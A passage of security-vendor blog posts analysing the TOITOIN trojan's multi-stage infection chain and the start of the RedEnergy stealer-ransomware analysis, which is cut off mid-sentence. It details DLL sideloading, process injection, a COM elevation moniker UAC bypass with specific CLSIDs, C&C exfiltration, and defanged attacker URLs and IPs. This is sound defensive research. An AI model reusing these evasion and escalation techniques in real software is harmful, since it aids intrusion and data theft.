http[:]//cartolabrasil[.]com/Homicidio[.]mp3/1-6.mp3. Figure 10 - Downloading multiple payloads from http[:]cartolabrasil.com. The encrypted data is decrypted and reversed, and the resulting payloads are written to a newly created folder within the Public Documents directory, as depicted in Figure 11. Figure 11 - Multiple payloads downloaded in the public documents folder. In Figure 11, it can also be observed that the encrypted payloads have dynamically generated filenames based on the computer name, username, etc.. The Loader DLL, "ffmpeg.dll," has its filename decrypted using the string decryption process. The signed binary, "icepdfeditor," is randomly selected from the list of file names dynamically, and the extensions are decrypted accordingly. Additionally, the downloader creates a configuration file with the ini extension named after the computer name in the Public Documents folder, containing details about the encrypted payloads. Towards the end of this process, the downloader generates a batch script in the "AppData\Roaming" directory, named after the computer name. Upon execution, this script restarts the system after a 10-second timeout, as depicted in Figure 12 below. The content of the batch script is decrypted using the string decryption function. Figure 12 - Evades sandbox & executes the LNK file in the startup folder by restarting the system. The system reboot serves to evade sandbox detection since the malicious actions occur only after the reboot. Upon restarting, the shortcut (.LNK) file, "icepdfeditor.lnk," in the startup folder is automatically executed, triggering the execution of "icepdfeditor.exe" from the Public Documents folder. "icepdfeditor.exe" is a valid signed executable by "ZOHO Corporation Private Limited," downloaded alongside the other payloads. Figure 13 shows the execution of "icepdfeditor.exe." Figure 13 - Signed binary by ZOHO Corporation downloaded alongside malicious payloads. Upon final execution, the signed binary, "icepdfeditor.exe," sideloads the malicious Krita Loader DLL, "ffmpeg.dll," from the current directory "C:\Users\Public\Documents\<username>\" taking advantage of the Windows Search and Load order to load the malicious Loader DLL instead of the legitimate DLL, as illustrated in Figure 14. Figure 14 - Signed Binary “icepdfeditor.exe” sideloads the malicious Krita Loader DLL “ffmpeg.dll”. Stage-2: Krita Loader DLL (ffmpeg.dll) PDB Path: F:\Trabalho_2023\OFF_2023\DLL_Start_OK\x64\Release\DLL_Start_OK.pdb In the analysis of the Krita Loader DLL (ffmpeg.dll), it is observed that the DLL reads encoded data from the <reverse_computer_name>.jpg file. This encoded data is then dynamically reversed and decoded using a replacement routine. The replacement routine replaces special characters with specific characters based on an algorithm, for example, replacing "!" with "A". Figure 15 - Showcases the decoding process of the DLL, involving reverse and replace functions. As depicted in the preceding screenshot, the data is subsequently subjected to base64 decoding, resulting in the formation of a PE file. This PE file is then written to the temporary directory, utilizing a randomly generated file name, as illustrated in Figure 16. Figure 16 - Demonstrates the process of decoding the DLL through Base64 decoding. Subsequently, the decoded InjectorDLL is loaded into memory by the Krita Loader DLL using the LoadLibraryA() function. Control is then transferred by retrieving the address of the export function "TEMP" through the GetProcAddress() function. Figure 17 - Illustrates the loading of the InjectorDLL via the LoadLibraryA() function. Stage-3: InjectorDLL Module PDB Path: F:\Trabalho_2023\OFF_2023\DLL_Start_IN\x64\Release\DLL_START_IN.pdb Once the InjectorDLL is loaded, it proceeds to read encoded data from another <computer_name>.jpg file. Similar to the Krita Loader DLL, the InjectorDLL dynamically reverses and decodes the data using a replacement routine that replaces special characters with specific characters based on a predefined algorithm. Subsequently, the data undergoes base64 decoding, resulting in the formation of the ElevateInjectorDLL module. This module is then injected into the remote process "explorer.exe" using a sequence of functions: OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread. The screenshot shown in Figure 18 below illustrates this injection process. Figure 18 - Demonstrates the injection of the ElevateInjectorDLL module into the remote process "explorer.exe." Stage-4: ElevateInjectorDLL Module PDB Path: F:\Trabalho_2023\OFF_2023\DLL_Start_UP\x64\Release\DLL_Start_UP.pdb Once injected into the explorer.exe process, the ElevateInjectorDLL module performs initial checks. It verifies whether the parent process is either "explorer.exe" or "winlogon.exe" and checks if the mutex "explorer" or "winlogon" has already been created using the OpenMutexA() function. If the conditions are met, the module creates the mutex "explorer" or "winlogon" based on the parent process as shown in Figure 19 below. Subsequently, it executes the main routine to carry out further actions. Figure 19 - Showcases the process of checking the parent process, specifically verifying if it is either "explorer" or "winlogon". This technique ensures that the module evades sandboxes by verifying the parent process. If the parent process does not match the expected value, the malicious code remains dormant and is not executed. In this particular scenario, as the parent process is "explorer.exe," the main routine is executed. Within this routine, specific strings are base64 decoded. These strings contain the server address (191[.]252[.]203[.]222/Up/indexW.php) and the paths of the target processes (explorer.exe and svchost.exe) where the subsequent injection stages will take place. Additionally, the ElevateInjectorDLL checks whether the process is elevated. In this case, as the process is not elevated, the DLL reads and decrypts another JPG file from the Public Documents folder. This decryption process forms the next stage module called "BypassUAC." Subsequently, the module performs process hollowing to inject the BypassUAC module into another explorer.exe process that was previously spawned in a suspended state. Figure 20 - Demonstrates the injection of the BypassUAC module into the explorer.exe process when the process is not elevated. Stage-5: BypassUAC Module PDB Path: F:\\Trabalho_2023\\OFF_2023\\EXE_BypassUAC\\x64\\Release\\BypassUAC.pdb The BypassUAC Module is responsible for performing User Account Control (UAC) bypass, enabling the execution of the Downloader module with administrator privileges. When the previously injected BypassUAC Module is executed within the remote process explorer.exe, it exits without executing the main routine under two conditions. Firstly, if the mutex "explorer" is not created, and secondly, if the mutex "bypass" is already created. However, if these conditions are not met, the module proceeds to create the "bypass" mutex before continuing its execution. Figure 21 - Depicts the process of opening and creating mutexes. In the context of UAC bypass, the malware leverages the COM Elevation Moniker "Elevation:Administrator!new:" along with specific elevated COM Objects. The purpose is to bypass the User Account Control (UAC) restrictions and gain elevated privileges on the system. To achieve this, the malware utilizes the CLSID {3AD05575-8857-4850-9277-11B85BDB8E09}, which provides functionalities related to copy, move, rename, delete, and link operations. Additionally, the CLSID {BDB57FF2-79B9-4205-9447-F5FE85F37312} is employed, specifically designed for the installation of Internet Explorer add-ons. By exploiting these elevated COM Objects, the malware aims to elevate its privileges and carry out malicious activities without being hindered by UAC restrictions. Figure 22 - Illustrates the UAC bypass technique achieved through the use of the COM Elevation Moniker. In the process of UAC bypass, the malware utilizes the Copy/Move/Rename/Delete/Link COM Object. This COM Object serves the purpose of copying the "cmd.exe" file from the System32 Folder to the Temp directory with administrator privileges. The copied file is then renamed as [1]bdeunlock.exe. This technique allows the malware to manipulate system files and execute commands with elevated privileges, facilitating further malicious activities. Figure 23 - Depicts the operation of copying the "cmd.exe" file into the Temp directory with administrator privileges using a COM Object. Moreover, the auto-elevating Internet Explorer Add-on Installer, known as "IEInstal.exe," is triggered through the COM Object. This action aims to execute the signed binary "icepdfeditor.exe" with elevated privileges by spawning a new process named [1]bdeunlock.exe. The process is launched with specific arguments, namely "/C start <path_to_signed_binary>," as indicated in Figure 24. This technique allows the malware to execute the signed binary with elevated permissions, enabling it to carry out malicious activities on the system. Figure 24 - Demonstrates the UAC bypass executed by the Internet Explorer Add-On Installer. This bypass enables the execution of the Krita Loader DLL with elevated privileges. Consequently, the signed binary is executed with elevated privileges, facilitating the sideloading of the Krita Loader DLL onto the machine with administrative privileges. Once the Krita Loader DLL is sideloaded with elevated privileges, it follows the same routine as previously discussed. However, in this instance, the ElevateInjectorDLL module, which previously injected the BypassUAC module, verifies whether it has elevated privileges. If elevated privileges are present, the module decrypts the final TOITOIN Trojan and injects it into the remote process "svchost.exe," as depicted in the screenshot provided in Figure 25 below. Figure 25 - Displays the injection of the TOITOIN Trojan into the svchost.exe process. Stage-6: TOITOIN Trojan The ElevateInjectorDLL injects the new Latin American Trojan, TOITOIN, into the remote process "svchost.exe." Upon execution, the Trojan first reads the encoded <computer_name>.ini configuration file that was previously written in the Public Documents folder by the Downloader module, as the captured screenshot in Figure 26 below shows. Figure 26 - Demonstrates the process of reading the INI configuration file. Below, Figure 27 reveals the decoding process of the hex blob within the INI Configuration file. The hex blob is reversed and converted to ASCII format, unveiling its original content. Figure 27 - Showcases the decoding process of the INI Configuration File. Each of the #<1-6> hex strings undergoes further decoding using the same logic. In the Figure 28 screenshot below, the decoded #1 hex string reveals the complete path and file name of the multiple payloads that were downloaded by the Downloader from http[:]//cartolabrasil[.]com. Figure 28 - Depicts the continued decoding process of the INI Configuration File. Additionally, the #3 hex blob undergoes decoding using the aforementioned logic, resulting in another hex blob. This hex blob is then decrypted using a custom XOR logic, such as applying the XOR operation with the first two bytes (0D44 -> (0x44 ^ 0x31) - 0x0D = "h"). ThreatLabz researchers developed a decryptor specifically for the INI Configuration file, as shown below in Figure 29. Figure 29 - Showcases the INI Configuration Decryptor, which reveals the Command & Control (C&C) URL. In Figure 29, the decrypted value extracted from the INI Configuration file reveals the Command & Control (C&C) URL: http[:]//afroblack[.]shop/CasaMoveis. However, during the analysis of a different corrected sample, a distinct C&C server was discovered: http[:]//contabilidademaio[.]servebeer[.]com/Robs/counter. The final backdoor decrypts various strings, including C&C URLs and other crucial information, using a custom XOR decryption logic based on the INI configuration values of "1" or "2": 5EBCDD2160A3E060F95B, 4644454647484786DF61 - /0202.php B9D91B5B9FC2C1035AFB, 07076684E60A094881C0 - /POST.php 4980C50B4AB5D534A72BBD144483D7084A9D21B3164E8B88DA7BD9, D40CB117B6C1C1C115B629A13291C516B82AAD3E80D87493C70642 - http[:]//bragancasbrasil[.]com 37AE12B71962A0FE01097390F01861BEC0C9C6CC - http://179[.]188[.]38[.]7 1D7E85858489898A8B8C8E87EA0B6588E6017E96, 95F61C7A9BFE1F60A1E2277EE3027AFF7EF674AC - 26/04/2023(TOITOIN) Some of the decrypted strings include paths to payloads, browser installations, and relevant dates. Additionally, a substantial encrypted hex blob is decrypted using the same custom XOR decryption logic. This hex blob consists of strings related to file paths, browser types, and timestamps. The TOITOIN Trojan employs these decrypted strings in its operation: @36:C91756F9588E30A03F6E85DF7DD376E3094988D862B33249BC284E9E20A2359DC81DBD0157B42B92C6 - \Program Files\Topaz OFD\Warsaw\core.exe @37:86D025A529BF2C - [Core] @38:5F8BF014BD2A - [64x] @39:204A4C4FF665 - [32x] @45:679F3E9C3590C41062FB5FFF5CF07C - Google\Chrome\ @46:314F8F3B9533AE217087C1055BF051F864FB54F76CE362EB2BA12BA1 - Mozilla Firefox\firefox.exe @47:748CCB71E76BE87FC2D3289133AE2F90C406538DC30D4C89C90D4340943C90 - Internet Explorer\iexplore.exe @48:1051F2538BCC1FBD006D8DCC034494C11FB116B528A13699F66DD40B - Programs\Opera\launcher.exe @49:5C9D21A1389BCD0A4C99D97BD175E775D577ED518380D47CD0 - Programs\Opera\opera.exe @50:47A53E9032903595CA0E5B91C41DB32153F2528FC91C4CF16AE866F350F269FC558B88DC64F8 - Microsoft\Edge\Application\msedge.exe @51:AB364E82CB0D4886C91EA1CF - [Iexplorer] @52:1541B52F9031AF24B0 - [Chrome] @53:2EB8379723AC27A235A3 - [Mozzila] @54:5F8BEB6DE367F966 - [Opera] @55:5882F66AE077E5 - [Edge] The Trojan fetches the Windows version by querying the ProductName registry key value, retrieves the environment variable %homedrive% and the path to the Program Files directory, and determines whether the system is 32-bit or 64-bit. Based on the installed browsers, including Chrome, Edge, Opera, Mozilla Firefox, and Internet Explorer, the Trojan assigns specific values to each browser. It also checks for the presence of the Topaz OFD - Protection Module at the specified path and sets the value "[Core]" accordingly. Furthermore, another encrypted hex blob is decrypted, containing strings related to certain variables, such as ClienteD.php?1=, - (hyphen), Versao_DLL(, Data(, dd/mm/yyyy, and hh:mm:ss: @36:F5639735AF24A329BF3552F36DEC1D7F8D - \ClienteD.php?1= @37:77A6E232 - - @38:D7C6C2D31BB115B92AA8394CA9C4DD - Versao_DLL( @39:2170ACFD73E56BFD17 - Data( @40:F266FB1AB61575DF68D07B - dd/mm/yyyy @41:EB65FC06429EE96CEE - hh:mm:ss Leveraging these decrypted strings, the Trojan assigns values to variables like AA1, AA2, AA3 & AA4, AA5, and AA10, using the previously decrypted encoded format. For example, AA1 represents the computer name, AA2 represents the Windows version, AA3 & AA4 represent the installed browsers, AA5 represents the bit value (32x or 64x), and AA10 represents the date (26/04/2023, in this case). AA1 - 0393948384C453D205F445B4355444 --> DESKTOP-******* (Computer Name) AA2 - E6F696471636574654020313023777F646E69675 --> Windows 10 Education (Windows Version) AA3 & AA4 - D556764654B5D5275627F6C607875694B5 --> [Iexplorer][Edge] (Installed browsers & protection module) AA5 - D5874363B5 --> [64x] (Bit) AA10 - 92E494F44594F4458233230323F24303F26323 --> 26/04/2023(TOITOIN) Analyzing and understanding these decrypted strings allows for a better understanding of the TOITOIN Trojan's configuration, the system it operates on, and the communication channels it utilizes for command and control. TOITOIN utilizes the decrypted strings in the following manner in order to gather the system & browser information: 1. It fetches the Windows version by querying the ProductName value from the registry key: SOFTWARE\Microsoft\Windows NT\CurrentVersion. 2. It retrieves the environment variable %homedrive% using GetEnvironmentVariableW, which usually corresponds to the C:\ drive. 3. It determines whether the system is 32-bit or 64-bit and sets the value to [64x] or [32x] accordingly. 4. It checks if specific web browsers are installed on the system by verifying the existence of corresponding folders and files. The checked browsers include Chrome, Edge, Opera, Mozilla Firefox, and Internet Explorer. 5. Based on the installed browsers, it assigns specific values for each browser: [Iexplorer] for Internet Explorer [Chrome] for Chrome [Mozzila] for Mozilla Firefox [Opera] for Opera [Edge] for Microsoft Edge 6. It checks whether the Topaz OFD - Protection Module is installed at the path \Program Files\Topaz OFD\Warsaw\core.exe. If the module exists, it sets the value "[Core]". By leveraging these decrypted strings and performing these checks, the TOITOIN Trojan adapts its behavior based on the system's Windows version, installed browsers, and the presence of the Topaz OFD - Protection Module. Command & Control Communication: The TOITOIN Trojan communicates with the Command & Control (C&C) server located at http[:]//afroblack[.]shop/CasaMoveis\ClienteD.php, shown in Figure 30 below, to transmit encoded system information, browser details, and Topaz OFD Protection Module information. Figure 30 - Displays the information transmitted to the Command & Control (C&C) server located at http[:]afroblack.shop/CasaMoveis\ClienteD.php. The exfiltrated information, once decoded, includes the following data: Computer Name: DESKTOP-****** Windows Version: Windows 10 Education Installed Browsers & Topaz OFD Protection Module: [Iexplorer][Edge] OS Bit Version: [64x] DLL Version: Versao_DLL(26/04/2023(TOITOIN)) Data: Date and time of execution Figure 31 - Capture of decoded information sample transmitted to the Command & Control (C&C) server. If the TOITOIN Trojan is unable to find the INI configuration file containing the URL to the C&C server, it resorts to sending the system information through a curl command. The encrypted data is then sent to the C&C server via a POST request using curl. Figure 32 - Demonstrates the transmission of information to the Command & Control (C&C) server through a CURL POST request. The screenshot below showcases the decrypted data that is sent via a curl POST request, resembling the previously observed request. Figure 33 - Screenshot of the decrypted data that is transmitted through a CURL POST request. Due to the unavailability of the Command and Control (C&C) servers during the analysis, the responses from the server could not be fetched. Exploring the Open Directory: While conducting the analysis, researchers came across a decrypted URL, "191[.]252[.]203[.]222/Up/indexW.php," which was found by the InjectorDLL module. Upon exploring the endpoints associated with this URL, it was discovered that an open directory contained various stager modules, including the Loader DLL, Injection DLL, InjectorDLL Module, BypassUAC Module, and the initial Downloader Module. These binaries had been hosted on the server since March 2023. Figure 34 - Reveals the open directory hosting the payloads on the attacker-controlled server. Zscaler Sandbox Coverage Figure 35 - Figure 35 presents the Zscaler Cloud Sandbox Report, which provides detailed analysis and insights into the behavior and characteristics of the analyzed malware. The Zscaler Cloud Sandbox report includes information such as file hashes, observed behaviors, network communications, and potential indicators of compromise (IOCs). It serves as a valuable resource for understanding the malware's capabilities, allowing security analysts to take appropriate measures to protect their systems and networks. The Zscaler Cloud Sandbox Report plays a crucial role in identifying and mitigating potential threats and enhancing overall cybersecurity posture. Win64.Downloader.Toitoin Conclusion In summary, the TOITOIN malware campaign targeting businesses in the Latin American region demonstrates the evolving tactics and sophistication of threat actors. Through deceptive phishing emails, intricate redirect mechanisms, and domain diversification, the threat actors successfully deliver their malicious payload. By leveraging resources such as the Amazon EC2 infrastructure and dynamically generated file names, they have shown their adaptability and persistence in compromising targeted systems. The multi-staged infection chain observed in this campaign involves the use of custom-developed modules that employ various evasion techniques and encryption methods. The malware utilizes XOR decryption to decode configuration files and transmit system information to the command and control server. It also leverages COM Elevation Moniker for user account control bypass, ensuring the execution of malicious code with elevated privileges. The analysis further revealed the presence of downloader modules, injector modules, and backdoors, each playing a specific role in the overall infection chain. The malware payload is injected into legitimate processes, such as explorer.exe and svchost.exe, to evade detection and maintain persistence on compromised systems. Furthermore, the malware exhibits the ability to exfiltrate system information, including computer names, Windows versions, installed browsers, and other relevant data, to the command and control server. The communication with the CnC server occurs through encrypted channels, and in the absence of an INI configuration file, a curl POST request is utilized for data transmission. The analysis also uncovered an open directory hosted on an attacker-controlled server, where various stager modules and payloads were found. These modules, including the Loader DLL, Injection DLL, and BypassUAC module, played critical roles in the infection chain. Overall, this analysis highlights the importance of robust cybersecurity measures and continuous monitoring to detect and mitigate sophisticated threats like TOITOIN. Organizations should remain vigilant against evolving malware campaigns, implement strong security protocols, and regularly update their security systems to safeguard against such threats. By staying informed and proactive, businesses can effectively defend against emerging cyber threats and protect their critical assets. One such measure that provides significant protection against malware threats like TOITOIN is the Zscaler Zero Trust Exchange. The Zscaler ThreatLabz team actively monitors and analyzes such campaigns, ensuring that customers are safeguarded against emerging threats. By leveraging the power of the Zscaler platform, organizations benefit from several key features that enhance their security posture. Firstly, the Zscaler Zero Trust Exchange operates on a zero trust model, which means that all traffic, including email communications and web browsing, is inspected and analyzed in real-time, regardless of the user's location or device. This comprehensive inspection helps identify and block malicious emails, phishing attempts, and suspicious URLs associated with malware campaigns like TOITOIN. Additionally, the Zscaler platform employs advanced threat intelligence and machine learning algorithms to detect and block known and unknown malware variants. The ThreatLabz team constantly updates the platform with the latest threat intelligence, ensuring that customers are protected against emerging threats as soon as they are detected. Furthermore, Zscaler's cloud-native architecture enables rapid deployment of security updates and patches across the entire network, ensuring that customers are always equipped with the latest security defenses. This proactive approach minimizes the window of vulnerability for potential malware attacks. Moreover, the Zscaler Zero Trust Exchange provides granular control over application access and user behavior, limiting the attack surface and reducing the risk of malware infiltration. By implementing strict access policies and enforcing least privilege principles, organizations can prevent unauthorized access and limit the spread of malware within their network. In conclusion, while threats like the TOITOIN malware campaign continue to evolve, the Zscaler Zero Trust Exchange provides a robust and comprehensive security framework to protect organizations against such threats. With continuous monitoring, advanced threat intelligence, proactive updates, and granular access control, Zscaler helps ensure that customers stay one step ahead of emerging malware campaigns. The Zscaler ThreatLabz team's unwavering commitment to customer safety reinforces the effectiveness of the Zscaler Zero Trust Exchange in safeguarding organizations against evolving cyber threats. MITRE ATT&CK TTP Mapping ID Technique Name T1566 Phishing T1064 Scripting T1037 Startup Items T1055 Process Injection T1018 Remote System Discovery T1082 System Information Discovery T1083 File and Directory Discovery T1548.002 Bypass User Account and Control T1574.002 DLL Side-Loading T1055.012 Process Hollowing Indicators of Compromise (IoCs) 1. Downloader Module: 8fc3c83b88a3c65a749b27f8439a8416 2fa7c647c626901321f5decde4273633 ec2-3-89-143-150[.]compute-1[.]amazonaws[.]com/storage[.]php?e=Desktop-PC ec2-3-82-104-156[.]compute-1[.]amazonaws[.]com/storage.php?e=Desktop-PC http[:]//alemaoautopecas[.]com http[:]//contatosclientes[.]services atendimento-arquivos[.]com arquivosclientes[.]online fantasiacinematica[.]online http[:]//cartolabrasil[.]com 2. Krita Loader DLL: b7bc67f2ef833212f25ef58887d5035a 3. InjectorDLL Module 690bfd65c2738e7c1c42ca8050634166 4. ElevateInjectorDLL Module e6c7d8d5683f338ca5c40aad462263a6 191[.]252[.]203[.]222/Up/indexW.php 5. BypassUAC Module c35d55b8b0ddd01aa4796d1616c09a46 6. TOITOIN Trojan 7871f9a0b4b9c413a8c7085983ec9a72 http[:]//bragancasbrasil[.]com http[:]//179[.]188[.]38[.]7 http[:]//afroblack[.]shop/CasaMoveis\ClienteD.php Appendix I: String Decryptor - Downloader Module Appendix II: INI Configuration Decryptor Fri, 07 Jul 2023 08:30:02 -0700 Niraj Shivtarkar https://www.zscaler.com/blogs/security-research/toitoin-trojan-analyzing-new-multi-stage-attack-targeting-latam-region Ransomware Redefined: RedEnergy Stealer-as-a-Ransomware attacks https://www.zscaler.com/blogs/security-research/ransomware-redefined-redenergy-stealer-ransomware-attacks Summary Zscaler ThreatLabz has discovered a new malware variant, RedEnergy stealer (not to be confused with the australian company Red Energy) that fits into the hybrid Stealer-as-a-Ransomware threat category. RedEnergy stealer uses a fake update campaign to target multiple industry verticals and possesses the ability to steal information from various browsers, enabling the exfiltration of sensitive data, while also incorporating different modules for carrying out ransomware activities.The name of the malware was kept due to the common method names observed during the analysis. This blog provides detailed insights into the different campaigns associated with this newly identified malware, along with a technical analysis of its stealer and ransomware characteristics. Introduction During the cybersecurity event Botconf 2023, ThreatLabz unveiled a novel threat category called RAT-as-a-Ransomware in April this year. However, more recently, researchers have identified another hybrid category following a similar approach, now known as Stealer-as-a-Ransomware. This latest discovery of RedEnergy stealer combines silent data theft with encryption to inflict maximum harm and gain control over its victims. It targets multiple industries, including energy utilities, oil, gas, telecom, and machinery. These advancements in malware represent a notable shift and key advancements beyond traditional ransomware attacks. The sample Stealer-as-a-Ransomware variant analyzed in this case study employs a deceptive FAKEUPDATES campaign to lure in its targets, tricking them into promptly updating their browsers. Once inside the system, this malicious variant stealthily extracts sensitive information and proceeds to encrypt the compromised files. This leaves victims vulnerable to potential data loss, exposure, or even the sale of their valuable data. This blog offers a comprehensive analysis of various campaigns associated with this emerging threat, shedding light on its operational aspects. Additionally, ThreatLabz provides a detailed technical overview of the malware, aiding in a better understanding of its behavior and potential countermeasures. Key takeaways The key takeaways from this research article are: Discovery of RedEnergy Stealer: ThreatLabz latest research uncovers a highly sophisticated malware campaign using industries with reputable LinkedIn pages to target victims, including the Philippines Industrial Machinery Manufacturing Company and several organizations in Brazil. The attackers launch the attack on users that click to visit the website from LinkedIn for a compromised company, using multi-stage techniques and disguise the malware as browser updates to deceive users. Stealer-as-a-Ransomware: the malware analyzed has dual capabilities as both a stealer and ransomware, representing an alarming evolution in ransomware attacks. It employs obfuscation techniques and utilizes HTTPS for command and control communication, making detection and analysis challenging. Multi-Stage Execution: The malware operates through multiple stages, starting with the execution of disguised malicious executables. It establishes persistence, communicates with DNS servers, and downloads additional payloads from remote locations. Suspicious FTP interactions suggest potential data exfiltration and unauthorized file uploads. Ransomware Functionality: The malware includes ransomware modules that encrypt user data with the ".FACKOFF!" extension, rendering it inaccessible until a ransom is paid. It also modifies the desktop.ini file to evade detection and modify file system folder display settings. Deletion of Shadow Drive Data: In its final stage, the malware deletes shadow drive data and Windows backup plans, reinforcing its ransomware characteristics. It drops a batch file and a ransom note, demanding payment in exchange for file decryption. By understanding these key takeaways, organizations can enhance their security posture and better protect themselves from RedEnergy stealer and similar types of malware campaigns. Campaign: Zscaler recently made a significant discovery involving a new and sophisticated threat campaign named RedEnergy stealer targeting the Philippines Industrial Machinery Manufacturing Company, as well as other industries with notable LinkedIn pages. These pages typically contain essential company information and website links, making them attractive targets for cybercriminals. Fig 1. - LinkedIn page for Philippines Industrial Machinery Manufacturing The operating mode for this threat campaign involves a deceptive redirection technique. When a user attempts to visit the targeted company's website through their LinkedIn profile, they are unsuspectingly redirected to a malicious website. Once there, they are prompted to install a seemingly legitimate browser update, which is presented as a set of four different browser icons. However, instead of a genuine update, the unsuspecting user unwittingly downloads an executable file known as RedStealer. Fig 2. - Malicious download site Interestingly, regardless of which browser icon the user clicks on, they are redirected to the same URL: www[.]igrejaatos2[.]org/assets/programs/setupbrowser.exe. This URL initiates the download of a file called setupbrowser.exe, which is part of the malicious payload. Fig 3. - Website downloading malicious payload What makes this threat campaign even more insidious is the use of a deceptive download domain called www[.]igrejaatos2[.]org. This domain serves as a disguise, presenting itself as a ChatGpt site to lure victims into downloading a fake offline version of ChatGpt. However, upon downloading the purported ChatGpt zip file, the victim unknowingly obtains the same malicious executable mentioned earlier. Fig 4. - Downloading domain luring users to download fake chatgpt tool It is crucial for individuals and organizations to exercise utmost caution when accessing websites, especially those linked from LinkedIn profiles. Vigilance in verifying the authenticity of browser updates and being wary of unexpected file downloads is paramount to protect against such malicious campaigns. Additional Campaigns: In addition to the discovery of the threat campaign targeting the Philippines Industrial Machinery Manufacturing Company, Zscaler's thorough campaign search has uncovered several other related campaigns that exploit the FAKEUPDATES tactic. These campaigns exhibit similar characteristics and techniques, indicating a broader coordinated effort by the cybercriminals behind these attacks. One such campaign involves impersonating a prominent Brazilian telecom company. Like the previously mentioned campaign, this variant directs victims to the same webpage and initiates the download of the identical executable file, www[.]igrejaatos2[.]org/assets/programs/setupbrowser.exe. This indicates that the attackers behind this campaign are reusing their infrastructure and tactics to maximize impact and profits. Fig 5. - Similar campaign leveraging google search Furthermore, a well-known Brazilian cosmetics company has also fallen victim to this malicious campaign, experiencing the same type of attack which downloads the same payload. It is evident that the cybercriminals behind these campaigns are targeting organizations across various industries, leveraging their already established reputations and online presence to deceive unsuspecting users. To gain a deeper understanding of the technical aspects of this malware, let us delve further into its analysis in the sections that follow. By examining the intricacies of the malicious code, security researchers can uncover crucial details about its behavior, functionality, and potential impact on the compromised systems. This information is essential for developing effective countermeasures and mitigating the risks associated with this ongoing threat. Technical Analysis: The RedEnergy malware under investigation exhibits a dual functionality, acting both as a stealer and a ransomware. This .NET file, intentionally obfuscated by its author, possesses advanced capabilities to evade detection and hinder analysis. To establish communication with its command and control servers, the malware utilizes HTTPS, adding an additional layer of encryption and obfuscation. Fig 6. - Infection chain The execution of this malware unfolds in three distinct stages, each serving a specific purpose. Each stage is outlined in the sections below. Stage 1: Initial Startup Upon execution, the malicious RedEnergy executable masquerades as part of a legitimate browser update, depicted in Fig. 7 below. It cleverly disguises itself with a legitimate update from one of the various popular browsers, including Google Chrome, Microsoft Edge, Firefox, and Opera, to deceive the user. Notably, looking at the properties of the malicious executable reveals the presence of an invalid certificate, however at surface level this attack hides behind a genuine signed certificate from the user’s browser as shown by the Google example examined in Fig. 8 below. This deceptive tactic aims to instill trust and convince the victim of the authenticity of the update. Fig 7. - Google updater executing the malicious RedEnergy binary Fig 8. - Fake certificate Stage 2: Dropping Files, Persistence, Outgoing Requests, Encrypted Files Dropping Files: In this stage, the malware drops four files onto the victim's system, shown in Fig. 9 below, precisely within the path %USERPROFILE%\AppData\Local\Temp. These dropped files consist of two temporary files and two executables, all following a similar pattern with filenames beginning with "tmp" and four randomly generated hexadecimal characters, followed by the ".exe" extension: tmp[4 random hex characters].exe. Among the executable files, one serves as the malicious payload, while the other disguises itself as the legitimate, digitally signed Google Update. The benign executable possesses the hash value 8911b376a5cd494b1ac5b84545ed2eb2 and is responsible for performing the actual update of Google Chrome, thereby further deceiving the victim. Simultaneously, the malware executes another background process, identified by the MD5 hash cb533957f70b4a7ebb4e8b896b7b656c, which represents the true malicious payload. During execution, this payload displays an inappropriate message on the victim's screen, displayed in Fig. 10 below, most likely as part of the threat actor's intent to cause distress or confusion. Fig 9. - Dropping malicious file in temp directory Fig 10. - Display message after executing the binary Persistence: Persistence is a critical aspect of malware, enabling it to maintain its presence on an infected system even after rebooting or shutting down. To achieve persistence, the malicious executable stores files in the Windows startup directory. It creates an entry within the start menu (Start Menu\Programs\Startup) and initiates an immediate reboot, ensuring that the malware is executed once the system is up and running again. This persistence mechanism guarantees that the malware remains active and continues its malicious operations even after system restarts. Outgoing Requests: During the analysis of the malware, researchers utilized Fakenet, a Windows malware analysis tool that simulates network activity, to gain insights into its behavior. Through Fakenet, they discovered that the malicious tmp.exe file established communication with the DNS server 2no.co, depicted in Fig. 11 below. To delve deeper into the network interactions, the widely used packet analysis tool, Wireshark, was employed. This allowed researchers to identify the specific DNS query made by the malicious tmp.exe file, providing crucial information for further investigation, as shown in Fig. 12 below. It was observed that upon establishing a connection with the DNS server, tmp.exe was expected to initiate the download of an executable file from cdn.discord. Unfortunately, during this particular analysis, the Command and Control (CnC) server was unavailable, making it impossible to obtain a sample. However, another sample resembling the final payload was discovered, which had been hosted on the same domain just two days prior to the current analysis. Fig 11. - Malicious binary communication with CnC server Fig 12. - Network communication seen via Wireshark Additionally, suspicious activity involving File Transfer Protocol (FTP) was uncovered during the investigation. A user with the username "alulogrofp" successfully accessed a private system hosted by OVH, a renowned cloud computing company and one of the largest hosting providers globally. The user's credentials were authenticated, granting them access to a restricted directory, which was identified as the root directory ("/"). Notably, UTF-8 encoding was enabled for file transfers, indicating support for international character sets. Fig 13. - FTP interaction on OVH private system Within the FTP session, the user navigated to the "/assets/bootstrap/css" directory, following standard directory traversal practices. To ensure efficient and accurate file transfers, the transfer mode was set to binary (8-bit). Subsequently, the server entered passive mode and provided an IP address and port number, indicated by the message "Entering Passive Mode (51,68,11,192,115,132)". By combining the extracted data, the IP address 51.68.11[.]192 was obtained. Further interactions revealed that the user requested a file list using the "NLST" command, resulting in the retrieval of six matching files. In another session, the client initiated a file retrieval operation using the "RETR" command, specifying the file path as "assets/bootstrap/css/SPP". The server acknowledged the data connection and confirmed the acceptance of the file transfer. These FTP interactions raised concerns regarding potential data exfiltration, as well as the possibility of uploading files using the same method. Encrypted Files: With ransomware modules integrated into the payload, the malware proceeded to encrypt the user's data, appending the ".FACKOFF!" extension to each encrypted file, as shown in Fig. 14 below. This malicious software is specifically designed to lock the user's files, rendering them inaccessible until a ransom is paid. After the encryption process is completed, the user receives a ransom message, demanding payment in exchange for restoring access to their files. Failure to comply with the ransom demands results in the permanent loss of access to the compromised data. Furthermore, the malicious executable alters the desktop.ini file, which contains configuration settings for the file system folders. By modifying this file, the malware can manipulate how the file system folders are displayed, potentially further concealing its presence and activities on the infected system. This alteration serves as an attempt to mislead the user and impede the detection of the malware's impact on the file system. Fig 14. - Encrypted files with .FACKOFF! extension Stage 3: Decryption Routine The final stage payload is responsible for various actions, including dropping the ransom note and executing multiple commands and stealer functionalities, and for encryption it uses the RijndaelManaged algorithm. Within the payload, numerous functions are named RedEnergy, giving rise to its namesake. In the second stage, the malware downloads the executable SystemPropertiesProtection.exe via the discord cdn. This leads to the third stage, where the malware executes a series of actions typically associated with ransomware. It begins by deleting data from the shadow drive, effectively removing any potential backups. The malware also targets Windows backup plans, further hindering the user's ability to recover their data. Additionally, a batch file is executed, and 